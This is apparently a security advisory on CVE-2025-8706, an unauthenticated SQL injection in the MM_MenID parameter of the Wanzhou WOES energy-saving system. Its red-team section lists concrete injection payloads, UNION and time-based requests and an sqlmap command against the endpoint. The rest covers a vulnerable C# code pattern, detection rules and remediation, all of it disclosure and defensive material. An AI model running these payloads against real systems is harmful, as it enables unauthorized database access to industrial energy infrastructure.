CVE-2025-8706

Executive Summary

CVE-2025-8706 is a critical SQL injection vulnerability discovered in the Wanzhou WOES Intelligent Optimization Energy Saving System version 1.0. The flaw resides in the /CommonSolution/CreateFunctionLog endpoint of the Energy Overview Module, where the MM_MenID parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The exploit has been publicly disclosed, and no official patch is currently available. The CVSS score is 6.3 (Medium), but the ease of exploitation and public availability of PoC elevate the risk.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary industrial control system (ICS) component from Wanzhou. Supply chain risk is limited to the direct deployment of the WOES system.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Potential for service disruption.

Threat Level: Medium (6.3). However, due to public exploit availability and the critical nature of energy management systems, this should be treated as High priority for affected organizations.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the CreateFunctionLog function of the Energy Overview Module. The application likely constructs a SQL query by directly concatenating the MM_MenID parameter without proper sanitization or parameterized queries. An attacker can inject SQL syntax by providing a malicious value for MM_MenID, such as:

1' OR '1'='1

This would alter the intended SQL query, potentially returning all rows from a table or allowing further injection of UNION-based queries to extract data from other tables.

The attack is unauthenticated and can be performed via a simple HTTP GET or POST request to the vulnerable endpoint. The lack of input validation and the use of dynamic SQL make this a straightforward exploit.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable C# (ASP.NET) example
string query = "INSERT INTO FunctionLog (UserID, Action, Timestamp) VALUES ('" + Request["MM_MenID"] + "', 'Create', GETDATE())";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.ExecuteNonQuery();

A patched version would use parameterized queries:

// Patched C# example
string query = "INSERT INTO FunctionLog (UserID, Action, Timestamp) VALUES (@UserID, 'Create', GETDATE())";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@UserID", Request["MM_MenID"]);
cmd.ExecuteNonQuery();

Without an official patch, the only mitigation is to implement input validation and parameterized queries at the application or WAF level.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Wanzhou WOES Intelligent Optimization Energy Saving System 1.0.
• Network access to the /CommonSolution/CreateFunctionLog endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint:

   http://target/CommonSolution/CreateFunctionLog?MM_MenID=1
   

2. Test for SQL injection by injecting a single quote:

   http://target/CommonSolution/CreateFunctionLog?MM_MenID=1'
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

3. Use a UNION-based injection to extract data. For example, to retrieve database version:

   http://target/CommonSolution/CreateFunctionLog?MM_MenID=1 UNION SELECT @@version, NULL, NULL--
   

4. Automate with SQLMap:

   sqlmap -u "http://target/CommonSolution/CreateFunctionLog?MM_MenID=1" --batch --dbs
   

Example Payloads:

• Boolean-based: 1 AND 1=1 (true) vs 1 AND 1=2 (false)
• Time-based: 1; WAITFOR DELAY '0:0:5'--

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL error messages in application logs.
• Look for unusual characters in the MM_MenID parameter (e.g., single quotes, UNION, SELECT, OR).
• Alert on multiple rapid requests to /CommonSolution/CreateFunctionLog with varying MM_MenID values.

Defense:

• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Apply input validation: allow only alphanumeric characters and hyphens for MM_MenID.
• Use parameterized queries in the application code.
• Restrict network access to the endpoint to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /CommonSolution/CreateFunctionLog containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
  • Unusual response sizes or SQL error messages in HTTP responses.
  • Multiple requests from the same IP within a short time frame.

• File IOCs:

  • Unexpected entries in application logs indicating SQL errors.
  • Modified database records (e.g., new admin users, altered configuration data).

• System IOCs:

  • Unusual database connections or queries from the application server.
  • High CPU or memory usage on the database server due to heavy queries.

Detection Engineering

YARA Rule

rule CVE_2025_8706_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-8706"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8706"
    strings:
        $s1 = "MM_MenID" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
        $s6 = "1=2" nocase
        $s7 = "WAITFOR" nocase
        $s8 = "DELAY" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5, $s6, $s7, $s8))
}

Sigma Rule

title: CVE-2025-8706 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against the WOES Energy Saving System
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - 'MM_MenID='
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - '1=1'
            - '1=2'
            - 'WAITFOR'
            - 'DELAY'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8706 SQL Injection Attempt"; flow:to_server; content:"/CommonSolution/CreateFunctionLog"; http_uri; content:"MM_MenID"; http_uri; pcre:"/(UNION|SELECT|OR|1=1|1=2|WAITFOR|DELAY)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the internet and untrusted networks.
2. Apply a WAF rule to block SQL injection patterns in the MM_MenID parameter.
3. Implement input validation: allow only alphanumeric characters and hyphens for MM_MenID.

Long-term Fix:

• Rewrite the CreateFunctionLog function to use parameterized queries or stored procedures.
• Conduct a full security audit of the application for similar vulnerabilities.
• Contact Wanzhou for an official patch or upgrade to a newer version.

Compensating Controls:

• Use a database firewall to monitor and block suspicious queries.
• Enable detailed logging for all database interactions.
• Implement least privilege for database accounts used by the application.

Valters IT